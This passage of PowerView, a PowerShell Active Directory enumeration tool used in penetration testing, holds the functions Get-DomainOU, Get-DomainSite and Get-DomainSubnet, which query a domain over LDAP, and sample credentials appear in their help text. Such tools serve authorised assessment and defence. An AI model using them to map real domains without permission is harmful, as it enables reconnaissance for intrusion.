$InterestingACL | Add-Member NoteProperty 'AceType' $_.AceType
|
|
$InterestingACL | Add-Member NoteProperty 'InheritanceFlags' $_.InheritanceFlags
|
|
$InterestingACL | Add-Member NoteProperty 'SecurityIdentifier' $_.SecurityIdentifier
|
|
$InterestingACL | Add-Member NoteProperty 'IdentityReferenceName' $IdentityReferenceName
|
|
$InterestingACL | Add-Member NoteProperty 'IdentityReferenceDomain' $IdentityReferenceDomain
|
|
$InterestingACL | Add-Member NoteProperty 'IdentityReferenceDN' $IdentityReferenceDN
|
|
$InterestingACL | Add-Member NoteProperty 'IdentityReferenceClass' $IdentityReferenceClass
|
|
$InterestingACL
|
|
}
|
|
}
|
|
else {
|
|
Write-Warning "[Find-InterestingDomainAcl] Unable to convert SID '$($_.SecurityIdentifier.Value )' to a distinguishedname with Convert-ADName"
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
|
|
function Get-DomainOU {
|
|
<#
|
|
.SYNOPSIS
|
|
|
|
Search for all organization units (OUs) or specific OU objects in AD.
|
|
|
|
Author: Will Schroeder (@harmj0y)
|
|
License: BSD 3-Clause
|
|
Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty
|
|
|
|
.DESCRIPTION
|
|
|
|
Builds a directory searcher object using Get-DomainSearcher, builds a custom
|
|
LDAP filter based on targeting/filter parameters, and searches for all objects
|
|
matching the criteria. To only return specific properties, use
|
|
"-Properties whencreated,usnchanged,...". By default, all OU objects for
|
|
the current domain are returned.
|
|
|
|
.PARAMETER Identity
|
|
|
|
An OU name (e.g. TestOU), DistinguishedName (e.g. OU=TestOU,DC=testlab,DC=local), or
|
|
GUID (e.g. 8a9ba22a-8977-47e6-84ce-8c26af4e1e6a). Wildcards accepted.
|
|
|
|
.PARAMETER GPLink
|
|
|
|
Only return OUs with the specified GUID in their gplink property.
|
|
|
|
.PARAMETER Domain
|
|
|
|
Specifies the domain to use for the query, defaults to the current domain.
|
|
|
|
.PARAMETER LDAPFilter
|
|
|
|
Specifies an LDAP query string that is used to filter Active Directory objects.
|
|
|
|
.PARAMETER Properties
|
|
|
|
Specifies the properties of the output object to retrieve from the server.
|
|
|
|
.PARAMETER SearchBase
|
|
|
|
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
|
|
Useful for OU queries.
|
|
|
|
.PARAMETER Server
|
|
|
|
Specifies an Active Directory server (domain controller) to bind to.
|
|
|
|
.PARAMETER SearchScope
|
|
|
|
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
|
|
|
|
.PARAMETER ResultPageSize
|
|
|
|
Specifies the PageSize to set for the LDAP searcher object.
|
|
|
|
.PARAMETER ServerTimeLimit
|
|
|
|
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
|
|
|
|
.PARAMETER SecurityMasks
|
|
|
|
Specifies an option for examining security information of a directory object.
|
|
One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.
|
|
|
|
.PARAMETER FindOne
|
|
|
|
Only return one result object.
|
|
|
|
.PARAMETER Tombstone
|
|
|
|
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
|
|
|
|
.PARAMETER Credential
|
|
|
|
A [Management.Automation.PSCredential] object of alternate credentials
|
|
for connection to the target domain.
|
|
|
|
.PARAMETER Raw
|
|
|
|
Switch. Return raw results instead of translating the fields into a custom PSObject.
|
|
|
|
.EXAMPLE
|
|
|
|
Get-DomainOU
|
|
|
|
Returns the current OUs in the domain.
|
|
|
|
.EXAMPLE
|
|
|
|
Get-DomainOU *admin* -Domain testlab.local
|
|
|
|
Returns all OUs with "admin" in their name in the testlab.local domain.
|
|
|
|
.EXAMPLE
|
|
|
|
Get-DomainOU -GPLink "F260B76D-55C8-46C5-BEF1-9016DD98E272"
|
|
|
|
Returns all OUs with linked to the specified group policy object.
|
|
|
|
.EXAMPLE
|
|
|
|
"*admin*","*server*" | Get-DomainOU
|
|
|
|
Search for OUs with the specific names.
|
|
|
|
.EXAMPLE
|
|
|
|
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
|
|
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
|
|
Get-DomainOU -Credential $Cred
|
|
|
|
.OUTPUTS
|
|
|
|
PowerView.OU
|
|
|
|
Custom PSObject with translated OU property fields.
|
|
#>
|
|
|
|
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
|
|
[OutputType('PowerView.OU')]
|
|
[CmdletBinding()]
|
|
Param (
|
|
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
|
|
[Alias('Name')]
|
|
[String[]]
|
|
$Identity,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[String]
|
|
[Alias('GUID')]
|
|
$GPLink,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[String]
|
|
$Domain,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('Filter')]
|
|
[String]
|
|
$LDAPFilter,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[String[]]
|
|
$Properties,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('ADSPath')]
|
|
[String]
|
|
$SearchBase,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('DomainController')]
|
|
[String]
|
|
$Server,
|
|
|
|
[ValidateSet('Base', 'OneLevel', 'Subtree')]
|
|
[String]
|
|
$SearchScope = 'Subtree',
|
|
|
|
[ValidateRange(1, 10000)]
|
|
[Int]
|
|
$ResultPageSize = 200,
|
|
|
|
[ValidateRange(1, 10000)]
|
|
[Int]
|
|
$ServerTimeLimit,
|
|
|
|
[ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
|
|
[String]
|
|
$SecurityMasks,
|
|
|
|
[Switch]
|
|
$Tombstone,
|
|
|
|
[Alias('ReturnOne')]
|
|
[Switch]
|
|
$FindOne,
|
|
|
|
[Management.Automation.PSCredential]
|
|
[Management.Automation.CredentialAttribute()]
|
|
$Credential = [Management.Automation.PSCredential]::Empty,
|
|
|
|
[Switch]
|
|
$Raw
|
|
)
|
|
|
|
BEGIN {
|
|
$SearcherArguments = @{}
|
|
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
|
|
if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
|
|
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
|
|
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
|
|
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
|
|
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
|
|
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
|
|
if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }
|
|
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
|
|
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
|
|
$OUSearcher = Get-DomainSearcher @SearcherArguments
|
|
}
|
|
|
|
PROCESS {
|
|
if ($OUSearcher) {
|
|
$IdentityFilter = ''
|
|
$Filter = ''
|
|
$Identity | Where-Object {$_} | ForEach-Object {
|
|
$IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
|
|
if ($IdentityInstance -match '^OU=.*') {
|
|
$IdentityFilter += "(distinguishedname=$IdentityInstance)"
|
|
if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) {
|
|
# if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname
|
|
# and rebuild the domain searcher
|
|
$IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
|
|
Write-Verbose "[Get-DomainOU] Extracted domain '$IdentityDomain' from '$IdentityInstance'"
|
|
$SearcherArguments['Domain'] = $IdentityDomain
|
|
$OUSearcher = Get-DomainSearcher @SearcherArguments
|
|
if (-not $OUSearcher) {
|
|
Write-Warning "[Get-DomainOU] Unable to retrieve domain searcher for '$IdentityDomain'"
|
|
}
|
|
}
|
|
}
|
|
else {
|
|
try {
|
|
$GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1'
|
|
$IdentityFilter += "(objectguid=$GuidByteString)"
|
|
}
|
|
catch {
|
|
$IdentityFilter += "(name=$IdentityInstance)"
|
|
}
|
|
}
|
|
}
|
|
if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {
|
|
$Filter += "(|$IdentityFilter)"
|
|
}
|
|
|
|
if ($PSBoundParameters['GPLink']) {
|
|
Write-Verbose "[Get-DomainOU] Searching for OUs with $GPLink set in the gpLink property"
|
|
$Filter += "(gplink=*$GPLink*)"
|
|
}
|
|
|
|
if ($PSBoundParameters['LDAPFilter']) {
|
|
Write-Verbose "[Get-DomainOU] Using additional LDAP filter: $LDAPFilter"
|
|
$Filter += "$LDAPFilter"
|
|
}
|
|
|
|
$OUSearcher.filter = "(&(objectCategory=organizationalUnit)$Filter)"
|
|
Write-Verbose "[Get-DomainOU] Get-DomainOU filter string: $($OUSearcher.filter)"
|
|
|
|
if ($PSBoundParameters['FindOne']) { $Results = $OUSearcher.FindOne() }
|
|
else { $Results = $OUSearcher.FindAll() }
|
|
$Results | Where-Object {$_} | ForEach-Object {
|
|
if ($PSBoundParameters['Raw']) {
|
|
# return raw result objects
|
|
$OU = $_
|
|
}
|
|
else {
|
|
$OU = Convert-LDAPProperty -Properties $_.Properties
|
|
}
|
|
$OU.PSObject.TypeNames.Insert(0, 'PowerView.OU')
|
|
$OU
|
|
}
|
|
if ($Results) {
|
|
try { $Results.dispose() }
|
|
catch {
|
|
Write-Verbose "[Get-DomainOU] Error disposing of the Results object: $_"
|
|
}
|
|
}
|
|
$OUSearcher.dispose()
|
|
}
|
|
}
|
|
}
|
|
|
|
|
|
function Get-DomainSite {
|
|
<#
|
|
.SYNOPSIS
|
|
|
|
Search for all sites or specific site objects in AD.
|
|
|
|
Author: Will Schroeder (@harmj0y)
|
|
License: BSD 3-Clause
|
|
Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty
|
|
|
|
.DESCRIPTION
|
|
|
|
Builds a directory searcher object using Get-DomainSearcher, builds a custom
|
|
LDAP filter based on targeting/filter parameters, and searches for all objects
|
|
matching the criteria. To only return specific properties, use
|
|
"-Properties whencreated,usnchanged,...". By default, all site objects for
|
|
the current domain are returned.
|
|
|
|
.PARAMETER Identity
|
|
|
|
An site name (e.g. Test-Site), DistinguishedName (e.g. CN=Test-Site,CN=Sites,CN=Configuration,DC=testlab,DC=local), or
|
|
GUID (e.g. c37726ef-2b64-4524-b85b-6a9700c234dd). Wildcards accepted.
|
|
|
|
.PARAMETER GPLink
|
|
|
|
Only return sites with the specified GUID in their gplink property.
|
|
|
|
.PARAMETER Domain
|
|
|
|
Specifies the domain to use for the query, defaults to the current domain.
|
|
|
|
.PARAMETER LDAPFilter
|
|
|
|
Specifies an LDAP query string that is used to filter Active Directory objects.
|
|
|
|
.PARAMETER Properties
|
|
|
|
Specifies the properties of the output object to retrieve from the server.
|
|
|
|
.PARAMETER SearchBase
|
|
|
|
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
|
|
Useful for OU queries.
|
|
|
|
.PARAMETER Server
|
|
|
|
Specifies an Active Directory server (domain controller) to bind to.
|
|
|
|
.PARAMETER SearchScope
|
|
|
|
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
|
|
|
|
.PARAMETER ResultPageSize
|
|
|
|
Specifies the PageSize to set for the LDAP searcher object.
|
|
|
|
.PARAMETER ServerTimeLimit
|
|
|
|
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
|
|
|
|
.PARAMETER SecurityMasks
|
|
|
|
Specifies an option for examining security information of a directory object.
|
|
One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.
|
|
|
|
.PARAMETER Tombstone
|
|
|
|
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
|
|
|
|
.PARAMETER FindOne
|
|
|
|
Only return one result object.
|
|
|
|
.PARAMETER Credential
|
|
|
|
A [Management.Automation.PSCredential] object of alternate credentials
|
|
for connection to the target domain.
|
|
|
|
.PARAMETER Raw
|
|
|
|
Switch. Return raw results instead of translating the fields into a custom PSObject.
|
|
|
|
.EXAMPLE
|
|
|
|
Get-DomainSite
|
|
|
|
Returns the current sites in the domain.
|
|
|
|
.EXAMPLE
|
|
|
|
Get-DomainSite *admin* -Domain testlab.local
|
|
|
|
Returns all sites with "admin" in their name in the testlab.local domain.
|
|
|
|
.EXAMPLE
|
|
|
|
Get-DomainSite -GPLink "F260B76D-55C8-46C5-BEF1-9016DD98E272"
|
|
|
|
Returns all sites with linked to the specified group policy object.
|
|
|
|
.EXAMPLE
|
|
|
|
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
|
|
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
|
|
Get-DomainSite -Credential $Cred
|
|
|
|
.OUTPUTS
|
|
|
|
PowerView.Site
|
|
|
|
Custom PSObject with translated site property fields.
|
|
#>
|
|
|
|
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
|
|
[OutputType('PowerView.Site')]
|
|
[CmdletBinding()]
|
|
Param (
|
|
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
|
|
[Alias('Name')]
|
|
[String[]]
|
|
$Identity,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[String]
|
|
[Alias('GUID')]
|
|
$GPLink,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[String]
|
|
$Domain,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('Filter')]
|
|
[String]
|
|
$LDAPFilter,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[String[]]
|
|
$Properties,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('ADSPath')]
|
|
[String]
|
|
$SearchBase,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('DomainController')]
|
|
[String]
|
|
$Server,
|
|
|
|
[ValidateSet('Base', 'OneLevel', 'Subtree')]
|
|
[String]
|
|
$SearchScope = 'Subtree',
|
|
|
|
[ValidateRange(1, 10000)]
|
|
[Int]
|
|
$ResultPageSize = 200,
|
|
|
|
[ValidateRange(1, 10000)]
|
|
[Int]
|
|
$ServerTimeLimit,
|
|
|
|
[ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
|
|
[String]
|
|
$SecurityMasks,
|
|
|
|
[Switch]
|
|
$Tombstone,
|
|
|
|
[Alias('ReturnOne')]
|
|
[Switch]
|
|
$FindOne,
|
|
|
|
[Management.Automation.PSCredential]
|
|
[Management.Automation.CredentialAttribute()]
|
|
$Credential = [Management.Automation.PSCredential]::Empty,
|
|
|
|
[Switch]
|
|
$Raw
|
|
)
|
|
|
|
BEGIN {
|
|
$SearcherArguments = @{
|
|
'SearchBasePrefix' = 'CN=Sites,CN=Configuration'
|
|
}
|
|
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
|
|
if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
|
|
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
|
|
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
|
|
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
|
|
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
|
|
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
|
|
if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }
|
|
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
|
|
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
|
|
$SiteSearcher = Get-DomainSearcher @SearcherArguments
|
|
}
|
|
|
|
PROCESS {
|
|
if ($SiteSearcher) {
|
|
$IdentityFilter = ''
|
|
$Filter = ''
|
|
$Identity | Where-Object {$_} | ForEach-Object {
|
|
$IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
|
|
if ($IdentityInstance -match '^CN=.*') {
|
|
$IdentityFilter += "(distinguishedname=$IdentityInstance)"
|
|
if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) {
|
|
# if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname
|
|
# and rebuild the domain searcher
|
|
$IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
|
|
Write-Verbose "[Get-DomainSite] Extracted domain '$IdentityDomain' from '$IdentityInstance'"
|
|
$SearcherArguments['Domain'] = $IdentityDomain
|
|
$SiteSearcher = Get-DomainSearcher @SearcherArguments
|
|
if (-not $SiteSearcher) {
|
|
Write-Warning "[Get-DomainSite] Unable to retrieve domain searcher for '$IdentityDomain'"
|
|
}
|
|
}
|
|
}
|
|
else {
|
|
try {
|
|
$GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1'
|
|
$IdentityFilter += "(objectguid=$GuidByteString)"
|
|
}
|
|
catch {
|
|
$IdentityFilter += "(name=$IdentityInstance)"
|
|
}
|
|
}
|
|
}
|
|
if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {
|
|
$Filter += "(|$IdentityFilter)"
|
|
}
|
|
|
|
if ($PSBoundParameters['GPLink']) {
|
|
Write-Verbose "[Get-DomainSite] Searching for sites with $GPLink set in the gpLink property"
|
|
$Filter += "(gplink=*$GPLink*)"
|
|
}
|
|
|
|
if ($PSBoundParameters['LDAPFilter']) {
|
|
Write-Verbose "[Get-DomainSite] Using additional LDAP filter: $LDAPFilter"
|
|
$Filter += "$LDAPFilter"
|
|
}
|
|
|
|
$SiteSearcher.filter = "(&(objectCategory=site)$Filter)"
|
|
Write-Verbose "[Get-DomainSite] Get-DomainSite filter string: $($SiteSearcher.filter)"
|
|
|
|
if ($PSBoundParameters['FindOne']) { $Results = $SiteSearcher.FindAll() }
|
|
else { $Results = $SiteSearcher.FindAll() }
|
|
$Results | Where-Object {$_} | ForEach-Object {
|
|
if ($PSBoundParameters['Raw']) {
|
|
# return raw result objects
|
|
$Site = $_
|
|
}
|
|
else {
|
|
$Site = Convert-LDAPProperty -Properties $_.Properties
|
|
}
|
|
$Site.PSObject.TypeNames.Insert(0, 'PowerView.Site')
|
|
$Site
|
|
}
|
|
if ($Results) {
|
|
try { $Results.dispose() }
|
|
catch {
|
|
Write-Verbose "[Get-DomainSite] Error disposing of the Results object"
|
|
}
|
|
}
|
|
$SiteSearcher.dispose()
|
|
}
|
|
}
|
|
}
|
|
|
|
|
|
function Get-DomainSubnet {
|
|
<#
|
|
.SYNOPSIS
|
|
|
|
Search for all subnets or specific subnets objects in AD.
|
|
|
|
Author: Will Schroeder (@harmj0y)
|
|
License: BSD 3-Clause
|
|
Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty
|
|
|
|
.DESCRIPTION
|
|
|
|
Builds a directory searcher object using Get-DomainSearcher, builds a custom
|
|
LDAP filter based on targeting/filter parameters, and searches for all objects
|
|
matching the criteria. To only return specific properties, use
|
|
"-Properties whencreated,usnchanged,...". By default, all subnet objects for
|
|
the current domain are returned.
|
|
|
|
.PARAMETER Identity
|
|
|
|
An subnet name (e.g. '192.168.50.0/24'), DistinguishedName (e.g. 'CN=192.168.50.0/24,CN=Subnets,CN=Sites,CN=Configuratioiguration,DC=testlab,DC=local'),
|
|
or GUID (e.g. c37726ef-2b64-4524-b85b-6a9700c234dd). Wildcards accepted.
|
|
|
|
.PARAMETER SiteName
|
|
|
|
Only return subnets from the specified SiteName.
|
|
|
|
.PARAMETER Domain
|
|
|
|
Specifies the domain to use for the query, defaults to the current domain.
|
|
|
|
.PARAMETER LDAPFilter
|
|
|
|
Specifies an LDAP query string that is used to filter Active Directory objects.
|
|
|
|
.PARAMETER Properties
|
|
|
|
Specifies the properties of the output object to retrieve from the server.
|
|
|
|
.PARAMETER SearchBase
|
|
|
|
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
|
|
Useful for OU queries.
|
|
|
|
.PARAMETER Server
|
|
|
|
Specifies an Active Directory server (domain controller) to bind to.
|
|
|
|
.PARAMETER SearchScope
|
|
|
|
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
|
|
|
|
.PARAMETER ResultPageSize
|
|
|
|
Specifies the PageSize to set for the LDAP searcher object.
|
|
|
|
.PARAMETER ServerTimeLimit
|
|
|
|
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
|
|
|
|
.PARAMETER SecurityMasks
|
|
|
|
Specifies an option for examining security information of a directory object.
|
|
One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.
|
|
|
|
.PARAMETER Tombstone
|
|
|
|
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
|
|
|
|
.PARAMETER FindOne
|
|
|
|
Only return one result object.
|
|
|
|
.PARAMETER Credential
|
|
|
|
A [Management.Automation.PSCredential] object of alternate credentials
|
|
for connection to the target domain.
|
|
|
|
.PARAMETER Raw
|
|
|
|
Switch. Return raw results instead of translating the fields into a custom PSObject.
|
|
|
|
.EXAMPLE
|
|
|
|
Get-DomainSubnet
|
|
|
|
Returns the current subnets in the domain.
|
|
|
|
.EXAMPLE
|
|
|
|
Get-DomainSubnet *admin* -Domain testlab.local
|
|
|
|
Returns all subnets with "admin" in their name in the testlab.local domain.
|
|
|
|
.EXAMPLE
|
|
|
|
Get-DomainSubnet -GPLink "F260B76D-55C8-46C5-BEF1-9016DD98E272"
|
|
|
|
Returns all subnets with linked to the specified group policy object.
|
|
|
|
.EXAMPLE
|
|
|
|
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
|
|
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
|
|
Get-DomainSubnet -Credential $Cred
|
|
|
|
.OUTPUTS
|
|
|
|
PowerView.Subnet
|
|
|
|
Custom PSObject with translated subnet property fields.
|
|
#>
|
|
|
|
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
|
|
[OutputType('PowerView.Subnet')]
|
|
[CmdletBinding()]
|
|
Param (
|
|
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
|
|
[Alias('Name')]
|
|
[String[]]
|
|
$Identity,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[String]
|
|
$SiteName,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[String]
|
|
$Domain,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('Filter')]
|
|
[String]
|
|
$LDAPFilter,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[String[]]
|
|
$Properties,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('ADSPath')]
|
|
[String]
|
|
$SearchBase,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('DomainController')]
|
|
[String]
|
|
$Server,
|
|
|
|
[ValidateSet('Base', 'OneLevel', 'Subtree')]
|
|
[String]
|
|
$SearchScope = 'Subtree',
|
|
|
|
[ValidateRange(1, 10000)]
|
|
[Int]
|
|
$ResultPageSize = 200,
|
|
|
|
[ValidateRange(1, 10000)]
|
|
[Int]
|
|
$ServerTimeLimit,
|
|
|
|
[ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
|
|
[String]
|
|
$SecurityMasks,
|
|
|
|
[Switch]
|
|
$Tombstone,
|
|
|
|
[Alias('ReturnOne')]
|
|
[Switch]
|
|
$FindOne,
|
|
|
|
[Management.Automation.PSCredential]
|
|
[Management.Automation.CredentialAttribute()]
|
|
$Credential = [Management.Automation.PSCredential]::Empty,
|
|
|
|
[Switch]
|
|
$Raw
|
|
)
|
|
|
|
BEGIN {
|
|
$SearcherArguments = @{
|
|
'SearchBasePrefix' = 'CN=Subnets,CN=Sites,CN=Configuration'
|
|
}
|
|
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
|
|
if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
|
|
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
|
|
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
|
|
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
|
|
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
|
|
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
|
|
if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }
|
|
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
|
|
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
|
|
$SubnetSearcher = Get-DomainSearcher @SearcherArguments
|
|
}
|
|
|
|
PROCESS {
|
|
if ($SubnetSearcher) {
|
|
$IdentityFilter = ''
|
|
$Filter = ''
|
|
$Identity | Where-Object {$_} | ForEach-Object {
|
|
$IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
|
|
if ($IdentityInstance -match '^CN=.*') {
|
|
$IdentityFilter += "(distinguishedname=$IdentityInstance)"
|
|
if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) {
|
|
# if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname
|
|
# and rebuild the domain searcher
|
|
$IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
|
|
Write-Verbose "[Get-DomainSubnet] Extracted domain '$IdentityDomain' from '$IdentityInstance'"
|
|
$SearcherArguments['Domain'] = $IdentityDomain
|
|
$SubnetSearcher = Get-DomainSearcher @SearcherArguments
|
|
if (-not $SubnetSearcher) {
|
|
Write-Warning "[Get-DomainSubnet] Unable to retrieve domain searcher for '$IdentityDomain'"
|
|
}
|
|
}
|
|
}
|
|
else {
|
|
try {
|
|
$GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1'
|
|
$IdentityFilter += "(objectguid=$GuidByteString)"
|
|
}
|
|
catch {
|
|
$IdentityFilter += "(name=$IdentityInstance)"
|
|
}
|
|
}
|
|
}
|
|
if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {
|
|
$Filter += "(|$IdentityFilter)"
|
|
}
|
|
|
|
if ($PSBoundParameters['LDAPFilter']) {
|
|
Write-Verbose "[Get-DomainSubnet] Using additional LDAP filter: $LDAPFilter"
|
|
$Filter += "$LDAPFilter"
|
|
}
|
|
|
|
$SubnetSearcher.filter = "(&(objectCategory=subnet)$Filter)"
|
|
Write-Verbose "[Get-DomainSubnet] Get-DomainSubnet filter string: $($SubnetSearcher.filter)"
|
|
|
|
if ($PSBoundParameters['FindOne']) { $Results = $SubnetSearcher.FindOne() }
|
|
else { $Results = $SubnetSearcher.FindAll() }
|
|
$Results | Where-Object {$_} | ForEach-Object {
|
|
if ($PSBoundParameters['Raw']) {
|
|
# return raw result objects
|
|
$Subnet = $_
|
|
}
|
|
else {
|
|
$Subnet = Convert-LDAPProperty -Properties $_.Properties
|
|
}
|
|
$Subnet.PSObject.TypeNames.Insert(0, 'PowerView.Subnet')
|
|
|
|
if ($PSBoundParameters['SiteName']) {
|
|
# have to do the filtering after the LDAP query as LDAP doesn't let you specify
|
|
# wildcards for 'siteobject' :(
|
|
if ($Subnet.properties -and ($Subnet.properties.siteobject -like "*$SiteName*")) {
|
|
$Subnet
|
|
}
|
|
elseif ($Subnet.siteobject -like "*$SiteName*") {
|
|
$Subnet
|
|
}
|
|
}
|
|
else {
|
|
$Subnet
|
|
}
|
|
}
|
|
if ($Results) {
|
|
try { $Results.dispose() }
|
|
catch {
|
|
Write-Verbose "[Get-DomainSubnet] Error disposing of the Results object: $_"
|
|
}
|
|
}
|
|
$SubnetSearcher.dispose()
|
|
}
|
|
}
|
|
}
|
|
|
|
|
|
function Get-DomainSID {
|
|
<#
|
|
.SYNOPSIS
|
|
|
|
Returns the SID for the current domain or the specified domain.
|
|
|
|
Author: Will Schroeder (@harmj0y)
|
|
License: BSD 3-Clause
|
|
Required Dependencies: Get-DomainComputer
|
|
|
|
.DESCRIPTION
|
|
|
|
Returns the SID for the current domain or the specified domain by executing
|
|
Get-DomainComputer with the -LDAPFilter set to (userAccountControl:1.2.840.113556.1.4.803:=8192)
|
|
to search for domain controllers through LDAP. The SID of the returned domain controller
|
|
is then extracted.
|
|
|
|
.PARAMETER Domain
|
|
|
|
Specifies the domain to use for the query, defaults to the current domain.
|
|
|
|
.PARAMETER Server
|
|
|
|
Specifies an Active Directory server (domain controller) to bind to.
|
|
|
|
.PARAMETER Credential
|
|
|
|
